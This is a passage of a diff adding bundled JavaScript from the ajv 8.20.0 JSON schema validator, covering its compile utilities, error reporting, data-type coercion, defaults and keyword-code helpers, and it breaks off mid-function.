node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/compile/util.js +var require_util = __commonJS({ + "node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/compile/util.js"(exports) { + "use strict"; + Object.defineProperty(exports, "__esModule", { value: true }); + exports.checkStrictMode = exports.getErrorPath = exports.Type = exports.useFunc = exports.setEvaluated = exports.evaluatedPropsToName = exports.mergeEvaluated = exports.eachItem = exports.unescapeJsonPointer = exports.escapeJsonPointer = exports.escapeFragment = exports.unescapeFragment = exports.schemaRefOrVal = exports.schemaHasRulesButRef = exports.schemaHasRules = exports.checkUnknownRules = exports.alwaysValidSchema = exports.toHash = void 0; + var codegen_1 = require_codegen(); + var code_1 = require_code(); + function toHash(arr) { + const hash2 = {}; + for (const item of arr) + hash2[item] = true; + return hash2; + } + exports.toHash = toHash; + function alwaysValidSchema(it, schema) { + if (typeof schema == "boolean") + return schema; + if (Object.keys(schema).length === 0) + return true; + checkUnknownRules(it, schema); + return !schemaHasRules(schema, it.self.RULES.all); + } + exports.alwaysValidSchema = alwaysValidSchema; + function checkUnknownRules(it, schema = it.schema) { + const { opts, self: self2 } = it; + if (!opts.strictSchema) + return; + if (typeof schema === "boolean") + return; + const rules = self2.RULES.keywords; + for (const key in schema) { + if (!rules[key]) + checkStrictMode(it, `unknown keyword: "${key}"`); + } + } + exports.checkUnknownRules = checkUnknownRules; + function schemaHasRules(schema, rules) { + if (typeof schema == "boolean") + return !schema; + for (const key in schema) + if (rules[key]) + return true; + return false; + } + exports.schemaHasRules = schemaHasRules; + function schemaHasRulesButRef(schema, RULES) { + if (typeof schema == "boolean") + return !schema; + for (const key in schema) + if (key !== "$ref" && RULES.all[key]) + return true; + return false; + } + exports.schemaHasRulesButRef = schemaHasRulesButRef; + function schemaRefOrVal({ topSchemaRef, schemaPath }, schema, keyword, $data) { + if (!$data) { + if (typeof schema == "number" || typeof schema == "boolean") + return schema; + if (typeof schema == "string") + return (0, codegen_1._)`${schema}`; + } + return (0, codegen_1._)`${topSchemaRef}${schemaPath}${(0, codegen_1.getProperty)(keyword)}`; + } + exports.schemaRefOrVal = schemaRefOrVal; + function unescapeFragment(str) { + return unescapeJsonPointer(decodeURIComponent(str)); + } + exports.unescapeFragment = unescapeFragment; + function escapeFragment(str) { + return encodeURIComponent(escapeJsonPointer(str)); + } + exports.escapeFragment = escapeFragment; + function escapeJsonPointer(str) { + if (typeof str == "number") + return `${str}`; + return str.replace(/~/g, "~0").replace(/\//g, "~1"); + } + exports.escapeJsonPointer = escapeJsonPointer; + function unescapeJsonPointer(str) { + return str.replace(/~1/g, "/").replace(/~0/g, "~"); + } + exports.unescapeJsonPointer = unescapeJsonPointer; + function eachItem(xs, f) { + if (Array.isArray(xs)) { + for (const x of xs) + f(x); + } else { + f(xs); + } + } + exports.eachItem = eachItem; + function makeMergeEvaluated({ mergeNames, mergeToName, mergeValues: mergeValues2, resultToName }) { + return (gen, from, to, toName) => { + const res = to === void 0 ? from : to instanceof codegen_1.Name ? (from instanceof codegen_1.Name ? mergeNames(gen, from, to) : mergeToName(gen, from, to), to) : from instanceof codegen_1.Name ? (mergeToName(gen, to, from), from) : mergeValues2(from, to); + return toName === codegen_1.Name && !(res instanceof codegen_1.Name) ? resultToName(gen, res) : res; + }; + } + exports.mergeEvaluated = { + props: makeMergeEvaluated({ + mergeNames: (gen, from, to) => gen.if((0, codegen_1._)`${to} !== true && ${from} !== undefined`, () => { + gen.if((0, codegen_1._)`${from} === true`, () => gen.assign(to, true), () => gen.assign(to, (0, codegen_1._)`${to} || {}`).code((0, codegen_1._)`Object.assign(${to}, ${from})`)); + }), + mergeToName: (gen, from, to) => gen.if((0, codegen_1._)`${to} !== true`, () => { + if (from === true) { + gen.assign(to, true); + } else { + gen.assign(to, (0, codegen_1._)`${to} || {}`); + setEvaluated(gen, to, from); + } + }), + mergeValues: (from, to) => from === true ? true : { ...from, ...to }, + resultToName: evaluatedPropsToName + }), + items: makeMergeEvaluated({ + mergeNames: (gen, from, to) => gen.if((0, codegen_1._)`${to} !== true && ${from} !== undefined`, () => gen.assign(to, (0, codegen_1._)`${from} === true ? true : ${to} > ${from} ? ${to} : ${from}`)), + mergeToName: (gen, from, to) => gen.if((0, codegen_1._)`${to} !== true`, () => gen.assign(to, from === true ? true : (0, codegen_1._)`${to} > ${from} ? ${to} : ${from}`)), + mergeValues: (from, to) => from === true ? true : Math.max(from, to), + resultToName: (gen, items) => gen.var("items", items) + }) + }; + function evaluatedPropsToName(gen, ps) { + if (ps === true) + return gen.var("props", true); + const props = gen.var("props", (0, codegen_1._)`{}`); + if (ps !== void 0) + setEvaluated(gen, props, ps); + return props; + } + exports.evaluatedPropsToName = evaluatedPropsToName; + function setEvaluated(gen, props, ps) { + Object.keys(ps).forEach((p) => gen.assign((0, codegen_1._)`${props}${(0, codegen_1.getProperty)(p)}`, true)); + } + exports.setEvaluated = setEvaluated; + var snippets = {}; + function useFunc(gen, f) { + return gen.scopeValue("func", { + ref: f, + code: snippets[f.code] || (snippets[f.code] = new code_1._Code(f.code)) + }); + } + exports.useFunc = useFunc; + var Type; + (function(Type2) { + Type2[Type2["Num"] = 0] = "Num"; + Type2[Type2["Str"] = 1] = "Str"; + })(Type || (exports.Type = Type = {})); + function getErrorPath(dataProp, dataPropType, jsPropertySyntax) { + if (dataProp instanceof codegen_1.Name) { + const isNumber = dataPropType === Type.Num; + return jsPropertySyntax ? isNumber ? (0, codegen_1._)`"[" + ${dataProp} + "]"` : (0, codegen_1._)`"['" + ${dataProp} + "']"` : isNumber ? (0, codegen_1._)`"/" + ${dataProp}` : (0, codegen_1._)`"/" + ${dataProp}.replace(/~/g, "~0").replace(/\\//g, "~1")`; + } + return jsPropertySyntax ? (0, codegen_1.getProperty)(dataProp).toString() : "/" + escapeJsonPointer(dataProp); + } + exports.getErrorPath = getErrorPath; + function checkStrictMode(it, msg, mode = it.opts.strictSchema) { + if (!mode) + return; + msg = `strict mode: ${msg}`; + if (mode === true) + throw new Error(msg); + it.self.logger.warn(msg); + } + exports.checkStrictMode = checkStrictMode; + } +}); + +// node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/compile/names.js +var require_names = __commonJS({ + "node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/compile/names.js"(exports) { + "use strict"; + Object.defineProperty(exports, "__esModule", { value: true }); + var codegen_1 = require_codegen(); + var names = { + // validation function arguments + data: new codegen_1.Name("data"), + // data passed to validation function + // args passed from referencing schema + valCxt: new codegen_1.Name("valCxt"), + // validation/data context - should not be used directly, it is destructured to the names below + instancePath: new codegen_1.Name("instancePath"), + parentData: new codegen_1.Name("parentData"), + parentDataProperty: new codegen_1.Name("parentDataProperty"), + rootData: new codegen_1.Name("rootData"), + // root data - same as the data passed to the first/top validation function + dynamicAnchors: new codegen_1.Name("dynamicAnchors"), + // used to support recursiveRef and dynamicRef + // function scoped variables + vErrors: new codegen_1.Name("vErrors"), + // null or array of validation errors + errors: new codegen_1.Name("errors"), + // counter of validation errors + this: new codegen_1.Name("this"), + // "globals" + self: new codegen_1.Name("self"), + scope: new codegen_1.Name("scope"), + // JTD serialize/parse name for JSON string and position + json: new codegen_1.Name("json"), + jsonPos: new codegen_1.Name("jsonPos"), + jsonLen: new codegen_1.Name("jsonLen"), + jsonPart: new codegen_1.Name("jsonPart") + }; + exports.default = names; + } +}); + +// node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/compile/errors.js +var require_errors3 = __commonJS({ + "node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/compile/errors.js"(exports) { + "use strict"; + Object.defineProperty(exports, "__esModule", { value: true }); + exports.extendErrors = exports.resetErrorsCount = exports.reportExtraError = exports.reportError = exports.keyword$DataError = exports.keywordError = void 0; + var codegen_1 = require_codegen(); + var util_1 = require_util(); + var names_1 = require_names(); + exports.keywordError = { + message: ({ keyword }) => (0, codegen_1.str)`must pass "${keyword}" keyword validation` + }; + exports.keyword$DataError = { + message: ({ keyword, schemaType }) => schemaType ? (0, codegen_1.str)`"${keyword}" keyword must be ${schemaType} ($data)` : (0, codegen_1.str)`"${keyword}" keyword is invalid ($data)` + }; + function reportError(cxt, error51 = exports.keywordError, errorPaths, overrideAllErrors) { + const { it } = cxt; + const { gen, compositeRule, allErrors } = it; + const errObj = errorObjectCode(cxt, error51, errorPaths); + if (overrideAllErrors !== null && overrideAllErrors !== void 0 ? overrideAllErrors : compositeRule || allErrors) { + addError(gen, errObj); + } else { + returnErrors(it, (0, codegen_1._)`[${errObj}]`); + } + } + exports.reportError = reportError; + function reportExtraError(cxt, error51 = exports.keywordError, errorPaths) { + const { it } = cxt; + const { gen, compositeRule, allErrors } = it; + const errObj = errorObjectCode(cxt, error51, errorPaths); + addError(gen, errObj); + if (!(compositeRule || allErrors)) { + returnErrors(it, names_1.default.vErrors); + } + } + exports.reportExtraError = reportExtraError; + function resetErrorsCount(gen, errsCount) { + gen.assign(names_1.default.errors, errsCount); + gen.if((0, codegen_1._)`${names_1.default.vErrors} !== null`, () => gen.if(errsCount, () => gen.assign((0, codegen_1._)`${names_1.default.vErrors}.length`, errsCount), () => gen.assign(names_1.default.vErrors, null))); + } + exports.resetErrorsCount = resetErrorsCount; + function extendErrors({ gen, keyword, schemaValue, data, errsCount, it }) { + if (errsCount === void 0) + throw new Error("ajv implementation error"); + const err = gen.name("err"); + gen.forRange("i", errsCount, names_1.default.errors, (i) => { + gen.const(err, (0, codegen_1._)`${names_1.default.vErrors}[${i}]`); + gen.if((0, codegen_1._)`${err}.instancePath === undefined`, () => gen.assign((0, codegen_1._)`${err}.instancePath`, (0, codegen_1.strConcat)(names_1.default.instancePath, it.errorPath))); + gen.assign((0, codegen_1._)`${err}.schemaPath`, (0, codegen_1.str)`${it.errSchemaPath}/${keyword}`); + if (it.opts.verbose) { + gen.assign((0, codegen_1._)`${err}.schema`, schemaValue); + gen.assign((0, codegen_1._)`${err}.data`, data); + } + }); + } + exports.extendErrors = extendErrors; + function addError(gen, errObj) { + const err = gen.const("err", errObj); + gen.if((0, codegen_1._)`${names_1.default.vErrors} === null`, () => gen.assign(names_1.default.vErrors, (0, codegen_1._)`[${err}]`), (0, codegen_1._)`${names_1.default.vErrors}.push(${err})`); + gen.code((0, codegen_1._)`${names_1.default.errors}++`); + } + function returnErrors(it, errs) { + const { gen, validateName, schemaEnv } = it; + if (schemaEnv.$async) { + gen.throw((0, codegen_1._)`new ${it.ValidationError}(${errs})`); + } else { + gen.assign((0, codegen_1._)`${validateName}.errors`, errs); + gen.return(false); + } + } + var E = { + keyword: new codegen_1.Name("keyword"), + schemaPath: new codegen_1.Name("schemaPath"), + // also used in JTD errors + params: new codegen_1.Name("params"), + propertyName: new codegen_1.Name("propertyName"), + message: new codegen_1.Name("message"), + schema: new codegen_1.Name("schema"), + parentSchema: new codegen_1.Name("parentSchema") + }; + function errorObjectCode(cxt, error51, errorPaths) { + const { createErrors } = cxt.it; + if (createErrors === false) + return (0, codegen_1._)`{}`; + return errorObject(cxt, error51, errorPaths); + } + function errorObject(cxt, error51, errorPaths = {}) { + const { gen, it } = cxt; + const keyValues = [ + errorInstancePath(it, errorPaths), + errorSchemaPath(cxt, errorPaths) + ]; + extraErrorProps(cxt, error51, keyValues); + return gen.object(...keyValues); + } + function errorInstancePath({ errorPath }, { instancePath }) { + const instPath = instancePath ? (0, codegen_1.str)`${errorPath}${(0, util_1.getErrorPath)(instancePath, util_1.Type.Str)}` : errorPath; + return [names_1.default.instancePath, (0, codegen_1.strConcat)(names_1.default.instancePath, instPath)]; + } + function errorSchemaPath({ keyword, it: { errSchemaPath } }, { schemaPath, parentSchema }) { + let schPath = parentSchema ? errSchemaPath : (0, codegen_1.str)`${errSchemaPath}/${keyword}`; + if (schemaPath) { + schPath = (0, codegen_1.str)`${schPath}${(0, util_1.getErrorPath)(schemaPath, util_1.Type.Str)}`; + } + return [E.schemaPath, schPath]; + } + function extraErrorProps(cxt, { params, message: message2 }, keyValues) { + const { keyword, data, schemaValue, it } = cxt; + const { opts, propertyName, topSchemaRef, schemaPath } = it; + keyValues.push([E.keyword, keyword], [E.params, typeof params == "function" ? params(cxt) : params || (0, codegen_1._)`{}`]); + if (opts.messages) { + keyValues.push([E.message, typeof message2 == "function" ? message2(cxt) : message2]); + } + if (opts.verbose) { + keyValues.push([E.schema, schemaValue], [E.parentSchema, (0, codegen_1._)`${topSchemaRef}${schemaPath}`], [names_1.default.data, data]); + } + if (propertyName) + keyValues.push([E.propertyName, propertyName]); + } + } +}); + +// node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/compile/validate/boolSchema.js +var require_boolSchema = __commonJS({ + "node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/compile/validate/boolSchema.js"(exports) { + "use strict"; + Object.defineProperty(exports, "__esModule", { value: true }); + exports.boolOrEmptySchema = exports.topBoolOrEmptySchema = void 0; + var errors_1 = require_errors3(); + var codegen_1 = require_codegen(); + var names_1 = require_names(); + var boolError = { + message: "boolean schema is false" + }; + function topBoolOrEmptySchema(it) { + const { gen, schema, validateName } = it; + if (schema === false) { + falseSchemaError(it, false); + } else if (typeof schema == "object" && schema.$async === true) { + gen.return(names_1.default.data); + } else { + gen.assign((0, codegen_1._)`${validateName}.errors`, null); + gen.return(true); + } + } + exports.topBoolOrEmptySchema = topBoolOrEmptySchema; + function boolOrEmptySchema(it, valid) { + const { gen, schema } = it; + if (schema === false) { + gen.var(valid, false); + falseSchemaError(it); + } else { + gen.var(valid, true); + } + } + exports.boolOrEmptySchema = boolOrEmptySchema; + function falseSchemaError(it, overrideAllErrors) { + const { gen, data } = it; + const cxt = { + gen, + keyword: "false schema", + data, + schema: false, + schemaCode: false, + schemaValue: false, + params: {}, + it + }; + (0, errors_1.reportError)(cxt, boolError, void 0, overrideAllErrors); + } + } +}); + +// node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/compile/rules.js +var require_rules = __commonJS({ + "node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/compile/rules.js"(exports) { + "use strict"; + Object.defineProperty(exports, "__esModule", { value: true }); + exports.getRules = exports.isJSONType = void 0; + var _jsonTypes = ["string", "number", "integer", "boolean", "null", "object", "array"]; + var jsonTypes = new Set(_jsonTypes); + function isJSONType(x) { + return typeof x == "string" && jsonTypes.has(x); + } + exports.isJSONType = isJSONType; + function getRules() { + const groups = { + number: { type: "number", rules: [] }, + string: { type: "string", rules: [] }, + array: { type: "array", rules: [] }, + object: { type: "object", rules: [] } + }; + return { + types: { ...groups, integer: true, boolean: true, null: true }, + rules: [{ rules: [] }, groups.number, groups.string, groups.array, groups.object], + post: { rules: [] }, + all: {}, + keywords: {} + }; + } + exports.getRules = getRules; + } +}); + +// node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/compile/validate/applicability.js +var require_applicability = __commonJS({ + "node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/compile/validate/applicability.js"(exports) { + "use strict"; + Object.defineProperty(exports, "__esModule", { value: true }); + exports.shouldUseRule = exports.shouldUseGroup = exports.schemaHasRulesForType = void 0; + function schemaHasRulesForType({ schema, self: self2 }, type) { + const group = self2.RULES.types[type]; + return group && group !== true && shouldUseGroup(schema, group); + } + exports.schemaHasRulesForType = schemaHasRulesForType; + function shouldUseGroup(schema, group) { + return group.rules.some((rule) => shouldUseRule(schema, rule)); + } + exports.shouldUseGroup = shouldUseGroup; + function shouldUseRule(schema, rule) { + var _a3; + return schema[rule.keyword] !== void 0 || ((_a3 = rule.definition.implements) === null || _a3 === void 0 ? void 0 : _a3.some((kwd) => schema[kwd] !== void 0)); + } + exports.shouldUseRule = shouldUseRule; + } +}); + +// node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/compile/validate/dataType.js +var require_dataType = __commonJS({ + "node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/compile/validate/dataType.js"(exports) { + "use strict"; + Object.defineProperty(exports, "__esModule", { value: true }); + exports.reportTypeError = exports.checkDataTypes = exports.checkDataType = exports.coerceAndCheckDataType = exports.getJSONTypes = exports.getSchemaTypes = exports.DataType = void 0; + var rules_1 = require_rules(); + var applicability_1 = require_applicability(); + var errors_1 = require_errors3(); + var codegen_1 = require_codegen(); + var util_1 = require_util(); + var DataType; + (function(DataType2) { + DataType2[DataType2["Correct"] = 0] = "Correct"; + DataType2[DataType2["Wrong"] = 1] = "Wrong"; + })(DataType || (exports.DataType = DataType = {})); + function getSchemaTypes(schema) { + const types2 = getJSONTypes(schema.type); + const hasNull = types2.includes("null"); + if (hasNull) { + if (schema.nullable === false) + throw new Error("type: null contradicts nullable: false"); + } else { + if (!types2.length && schema.nullable !== void 0) { + throw new Error('"nullable" cannot be used without "type"'); + } + if (schema.nullable === true) + types2.push("null"); + } + return types2; + } + exports.getSchemaTypes = getSchemaTypes; + function getJSONTypes(ts) { + const types2 = Array.isArray(ts) ? ts : ts ? [ts] : []; + if (types2.every(rules_1.isJSONType)) + return types2; + throw new Error("type must be JSONType or JSONType[]: " + types2.join(",")); + } + exports.getJSONTypes = getJSONTypes; + function coerceAndCheckDataType(it, types2) { + const { gen, data, opts } = it; + const coerceTo = coerceToTypes(types2, opts.coerceTypes); + const checkTypes = types2.length > 0 && !(coerceTo.length === 0 && types2.length === 1 && (0, applicability_1.schemaHasRulesForType)(it, types2[0])); + if (checkTypes) { + const wrongType = checkDataTypes(types2, data, opts.strictNumbers, DataType.Wrong); + gen.if(wrongType, () => { + if (coerceTo.length) + coerceData(it, types2, coerceTo); + else + reportTypeError(it); + }); + } + return checkTypes; + } + exports.coerceAndCheckDataType = coerceAndCheckDataType; + var COERCIBLE = /* @__PURE__ */ new Set(["string", "number", "integer", "boolean", "null"]); + function coerceToTypes(types2, coerceTypes) { + return coerceTypes ? types2.filter((t) => COERCIBLE.has(t) || coerceTypes === "array" && t === "array") : []; + } + function coerceData(it, types2, coerceTo) { + const { gen, data, opts } = it; + const dataType = gen.let("dataType", (0, codegen_1._)`typeof ${data}`); + const coerced = gen.let("coerced", (0, codegen_1._)`undefined`); + if (opts.coerceTypes === "array") { + gen.if((0, codegen_1._)`${dataType} == 'object' && Array.isArray(${data}) && ${data}.length == 1`, () => gen.assign(data, (0, codegen_1._)`${data}[0]`).assign(dataType, (0, codegen_1._)`typeof ${data}`).if(checkDataTypes(types2, data, opts.strictNumbers), () => gen.assign(coerced, data))); + } + gen.if((0, codegen_1._)`${coerced} !== undefined`); + for (const t of coerceTo) { + if (COERCIBLE.has(t) || t === "array" && opts.coerceTypes === "array") { + coerceSpecificType(t); + } + } + gen.else(); + reportTypeError(it); + gen.endIf(); + gen.if((0, codegen_1._)`${coerced} !== undefined`, () => { + gen.assign(data, coerced); + assignParentData(it, coerced); + }); + function coerceSpecificType(t) { + switch (t) { + case "string": + gen.elseIf((0, codegen_1._)`${dataType} == "number" || ${dataType} == "boolean"`).assign(coerced, (0, codegen_1._)`"" + ${data}`).elseIf((0, codegen_1._)`${data} === null`).assign(coerced, (0, codegen_1._)`""`); + return; + case "number": + gen.elseIf((0, codegen_1._)`${dataType} == "boolean" || ${data} === null + || (${dataType} == "string" && ${data} && ${data} == +${data})`).assign(coerced, (0, codegen_1._)`+${data}`); + return; + case "integer": + gen.elseIf((0, codegen_1._)`${dataType} === "boolean" || ${data} === null + || (${dataType} === "string" && ${data} && ${data} == +${data} && !(${data} % 1))`).assign(coerced, (0, codegen_1._)`+${data}`); + return; + case "boolean": + gen.elseIf((0, codegen_1._)`${data} === "false" || ${data} === 0 || ${data} === null`).assign(coerced, false).elseIf((0, codegen_1._)`${data} === "true" || ${data} === 1`).assign(coerced, true); + return; + case "null": + gen.elseIf((0, codegen_1._)`${data} === "" || ${data} === 0 || ${data} === false`); + gen.assign(coerced, null); + return; + case "array": + gen.elseIf((0, codegen_1._)`${dataType} === "string" || ${dataType} === "number" + || ${dataType} === "boolean" || ${data} === null`).assign(coerced, (0, codegen_1._)`[${data}]`); + } + } + } + function assignParentData({ gen, parentData, parentDataProperty }, expr) { + gen.if((0, codegen_1._)`${parentData} !== undefined`, () => gen.assign((0, codegen_1._)`${parentData}[${parentDataProperty}]`, expr)); + } + function checkDataType(dataType, data, strictNums, correct = DataType.Correct) { + const EQ = correct === DataType.Correct ? codegen_1.operators.EQ : codegen_1.operators.NEQ; + let cond; + switch (dataType) { + case "null": + return (0, codegen_1._)`${data} ${EQ} null`; + case "array": + cond = (0, codegen_1._)`Array.isArray(${data})`; + break; + case "object": + cond = (0, codegen_1._)`${data} && typeof ${data} == "object" && !Array.isArray(${data})`; + break; + case "integer": + cond = numCond((0, codegen_1._)`!(${data} % 1) && !isNaN(${data})`); + break; + case "number": + cond = numCond(); + break; + default: + return (0, codegen_1._)`typeof ${data} ${EQ} ${dataType}`; + } + return correct === DataType.Correct ? cond : (0, codegen_1.not)(cond); + function numCond(_cond = codegen_1.nil) { + return (0, codegen_1.and)((0, codegen_1._)`typeof ${data} == "number"`, _cond, strictNums ? (0, codegen_1._)`isFinite(${data})` : codegen_1.nil); + } + } + exports.checkDataType = checkDataType; + function checkDataTypes(dataTypes, data, strictNums, correct) { + if (dataTypes.length === 1) { + return checkDataType(dataTypes[0], data, strictNums, correct); + } + let cond; + const types2 = (0, util_1.toHash)(dataTypes); + if (types2.array && types2.object) { + const notObj = (0, codegen_1._)`typeof ${data} != "object"`; + cond = types2.null ? notObj : (0, codegen_1._)`!${data} || ${notObj}`; + delete types2.null; + delete types2.array; + delete types2.object; + } else { + cond = codegen_1.nil; + } + if (types2.number) + delete types2.integer; + for (const t in types2) + cond = (0, codegen_1.and)(cond, checkDataType(t, data, strictNums, correct)); + return cond; + } + exports.checkDataTypes = checkDataTypes; + var typeError = { + message: ({ schema }) => `must be ${schema}`, + params: ({ schema, schemaValue }) => typeof schema == "string" ? (0, codegen_1._)`{type: ${schema}}` : (0, codegen_1._)`{type: ${schemaValue}}` + }; + function reportTypeError(it) { + const cxt = getTypeErrorContext(it); + (0, errors_1.reportError)(cxt, typeError); + } + exports.reportTypeError = reportTypeError; + function getTypeErrorContext(it) { + const { gen, data, schema } = it; + const schemaCode = (0, util_1.schemaRefOrVal)(it, schema, "type"); + return { + gen, + keyword: "type", + data, + schema: schema.type, + schemaCode, + schemaValue: schemaCode, + parentSchema: schema, + params: {}, + it + }; + } + } +}); + +// node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/compile/validate/defaults.js +var require_defaults = __commonJS({ + "node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/compile/validate/defaults.js"(exports) { + "use strict"; + Object.defineProperty(exports, "__esModule", { value: true }); + exports.assignDefaults = void 0; + var codegen_1 = require_codegen(); + var util_1 = require_util(); + function assignDefaults(it, ty) { + const { properties, items } = it.schema; + if (ty === "object" && properties) { + for (const key in properties) { + assignDefault(it, key, properties[key].default); + } + } else if (ty === "array" && Array.isArray(items)) { + items.forEach((sch, i) => assignDefault(it, i, sch.default)); + } + } + exports.assignDefaults = assignDefaults; + function assignDefault(it, prop, defaultValue) { + const { gen, compositeRule, data, opts } = it; + if (defaultValue === void 0) + return; + const childData = (0, codegen_1._)`${data}${(0, codegen_1.getProperty)(prop)}`; + if (compositeRule) { + (0, util_1.checkStrictMode)(it, `default is ignored for: ${childData}`); + return; + } + let condition = (0, codegen_1._)`${childData} === undefined`; + if (opts.useDefaults === "empty") { + condition = (0, codegen_1._)`${condition} || ${childData} === null || ${childData} === ""`; + } + gen.if(condition, (0, codegen_1._)`${childData} = ${(0, codegen_1.stringify)(defaultValue)}`); + } + } +}); + +// node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/vocabularies/code.js +var require_code2 = __commonJS({ + "node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/vocabularies/code.js"(exports) { + "use strict"; + Object.defineProperty(exports, "__esModule", { value: true }); + exports.validateUnion = exports.validateArray = exports.usePattern = exports.callValidateCode = exports.schemaProperties = exports.allSchemaProperties = exports.noPropertyInData = exports.propertyInData = exports.isOwnProperty = exports.hasPropFunc = exports.reportMissingProp = exports.checkMissingProp = exports.checkReportMissingProp = void 0; + var codegen_1 = require_codegen(); + var util_1 = require_util(); + var names_1 = require_names(); + var util_2 = require_util(); + function checkReportMissingProp(cxt, prop) { + const { gen, data, it } = cxt; + gen.if(noPropertyInData(gen, data, prop, it.opts.ownProperties), () => { + cxt.setParams({ missingProperty: (0, codegen_1._)`${prop}` }, true); + cxt.error(); + }); + } + exports.checkReportMissingProp = checkReportMissingProp; + function checkMissingProp({ gen, data, it: { opts } }, properties, missing) { + return (0, codegen_1.or)(...properties.map((prop) => (0, codegen_1.and)(noPropertyInData(gen, data, prop, opts.ownProperties), (0, codegen_1._)`${missing} = ${prop}`))); + } + exports.checkMissingProp = checkMissingProp; + function reportMissingProp(cxt, missing) { + cxt.setParams({ missingProperty: missing }, true); + cxt.error(); + } + exports.reportMissingProp = reportMissingProp; + function hasPropFunc(gen) { + return gen.scopeValue("func", { + // eslint-disable-next-line @typescript-eslint/unbound-method + ref: Object.prototype.hasOwnProperty, + code: (0, codegen_1._)`Object.prototype.hasOwnProperty` + }); + } + exports.hasPropFunc = hasPropFunc; + function isOwnProperty(gen, data, property) { + return (0, codegen_1._)`${hasPropFunc(gen)}.call(${data}, ${property})`; + } + exports.isOwnProperty = isOwnProperty; + function propertyInData(gen, data, property, ownProperties) { + const cond = (0, codegen_1._)`${data}${(0, codegen_1.getProperty)(property)} !== undefined`; + return ownProperties ? (0, codegen_1._)`${cond} && ${isOwnProperty(gen, data, property)}` : cond; + } + exports.propertyInData = propertyInData; + function noPropertyInData(gen, data, property, ownProperties) { + const cond = (0, codegen_1._)`${data}${(0, codegen_1.getProperty)(property)} === undefined`; + return ownProperties ? (0, codegen_1.or)(cond, (0, codegen_1.not)(isOwnProperty(gen, data, property))) : cond; + } + exports.noPropertyInData = noPropertyInData; + function allSchemaProperties(schemaMap) { + return schemaMap ? Object.keys(schemaMap).filter((p) => p !== "__proto__") : []; + } + exports.allSchemaProperties = allSchemaProperties; + function schemaProperties(it, schemaMap) { + return allSchemaProperties(schemaMap).filter((p) => !(0, util_1.alwaysValidSchema)(it, schemaMap[p])); + } + exports.schemaProperties = schemaProperties; + function callValidateCode({ schemaCode, data, it: { gen, topSchemaRef, schemaPath, errorPath }, it }, func, context2, passSchema) { + const dataAndSchema = passSchema ? (0, codegen_1._)`${schemaCode}, ${data}, ${topSchemaRef}${schemaPath}` : data; + const valCxt = [ + [names_1.default.instancePath, (0, codegen_1.strConcat)(names_1.default.instancePath, errorPath)], + [names_1.default.parentData, it.parentData], + [names_1.default.parentDataProperty, it.parentDataProperty], + [names_1.default.rootData, names_1.default.rootData] + ]; + if (it.opts.dynamicRef) + valCxt.push([names_1.default.dynamicAnchors, names_1.default.dynamicAnchors]); + const args = (0, codegen_1._)`${dataAndSchema}, ${gen.object(...valCxt)}`; + return context2 !== codegen_1.nil ? (0, codegen_1._)`${func}.call(${context2}, ${args})` : (0, codegen_1._)`${func}(${args})`; + } + exports.callValidateCode = callValidateCode; + var newRegExp = (0, codegen_1._)`new RegExp`; + function usePattern({ gen, it: { opts } }, pattern) { + const u = opts.unicodeRegExp ? "u" : ""; + const { regExp } = opts.code; + const rx = regExp(pattern, u); + return gen.scopeValue("pattern", { + key: rx.toString(), + ref: rx, + code: (0, codegen_1._)`${regExp.code === "new RegExp" ? newRegExp : (0, util_2.useFunc)(gen, regExp)}(${pattern}, ${u})` + }); + } + exports.usePattern = usePattern; + function validateArray(cxt) { + const { gen, data, keyword, it } = cxt; + const valid = gen.name("valid"); + if (it.allErrors) { + const validArr = gen.let("valid", true); + validateItems(() => gen.assign(validArr, false)); + return validArr; + } + gen.var(valid, true); + validateItems(() => gen.break()); + return valid; + function validateItems(notValid) { + const len = gen.const("len", (0, codegen_1._)`${data}.length`); + gen.forRange("i", 0, len, (i) => { + cxt.subschema({ + keyword, + dataProp: i, + dataPropType: util_1.Type.Num + }, valid); + gen.if((0, codegen_1.not)(valid), notValid); + }); + } + } + exports.validateArray = validateArray; + function validateUnion(cxt) { + const { gen, schema, keyword, it } = cxt; + if (!Array.isArray(schema)) + throw new Error("ajv implementation error"); + const alwaysValid = schema.some((sch) => (0, util_1.alwaysValidSchema)(it, sch)); + if (alwaysValid && !it.opts.unevaluated) + return; + const valid = gen.let("valid", false); + const schValid = gen.name("_valid"); + gen.block(() => schema.forEach((_sch, i) => { + const schCxt = cxt.subschema({ + keyword, + schemaProp: i, + compositeRule: true + }, schValid); + gen.assign(valid, (0, codegen_1._)`${valid} || ${schValid}`); + const merged = cxt.mergeValidEvaluated(schCxt, schValid); + if (!merged) + gen.if((0, codegen_1.not)(valid)); + })); + cxt.result(valid, () => cxt.reset(), () => cxt.error(true)); + } + exports.validateUnion = validateUnion; + } +}); + +// node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/compile/validate/keyword.js +var require_keyword = __commonJS({ + "node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/compile/validate/keyword.js"(exports) { + "use strict"; + Object.defineProperty(exports, "__esModule", { value: true }); + exports.validateKeywordUsage = exports.validSchemaType = exports.funcKeywordCode = exports.macroKeywordCode = void 0; + var codegen_1 = require_codegen(); + var names_1 = require_names(); + var code_1 = require_code2(); + var errors_1 = require_errors3(); + function macroKeywordCode(cxt, def) { + const { gen, keyword, schema, parentSchema, it } = cxt; + const macroSchema = def.macro.call(it.self, schema, parentSchema, it); + const schemaRef = useKeyword(gen, keyword, macroSchema); + if (it.opts.validateSchema !== false) + it.self.validateSchema(macroSchema, true); + const valid = gen.name("valid"); + cxt.subschema({ + schema: macroSchema, + schemaPath: 